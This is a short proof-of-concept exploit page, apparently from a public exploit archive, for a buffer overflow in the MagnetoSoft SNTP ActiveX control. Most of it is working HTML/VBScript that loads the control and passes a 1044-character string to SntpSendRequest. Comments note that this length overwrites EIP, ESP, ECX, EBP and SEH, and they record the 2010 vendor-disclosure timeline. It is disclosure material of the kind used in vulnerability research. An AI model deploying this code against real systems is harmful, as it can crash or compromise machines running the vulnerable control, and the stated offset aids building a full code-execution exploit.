MagnetoSoft SNTP 4.0.0.7 – ActiveX SntpSendRequest Crash (PoC)
<html> <object classid='clsid:A3010B66-C229-11D5-B7BA-00C0F02DFC67' id='target' /></object> <script language='vbscript'> 'Magneto Software SNTP ActiveX SntpSendRequest BOF POC 'Discovered by: s4squatch 'Site: www.securestate.com 'www: http://www.magnetosoft.com/products/sksntp/sksntp_features.htm 'Download: http://www.magnetosoft.com/downloads/sksntp_setup.exe 'Vendor Notified: 02/02/10 --> NO RESPONSE 'Vendor Notified: 02/11/10 --> NO RESPONSE 'Vendor Notified: 02/17/10 --> NO RESPONSE 'Published 04/13/10 'File Name = SKSntp.ocx 'www: http://www.magnetosoft.com/products/sksntp/sksntp_features.htm 'Download: http://www.magnetosoft.com/downloads/sksntp_setup.exe 'Function SntpSendRequest ( ByVal bstrSntpServer As String , ByVal bSynchronizeClock As Integer ) As Long 'memberName = "SntpSendRequest" 'progid = "SKSNTPLib.SKSntp" '1044 overwrites EIP, ESP, ECX, EBP, SEH buff = String(1044, "A") target.SntpSendRequest buff ,1 </script> |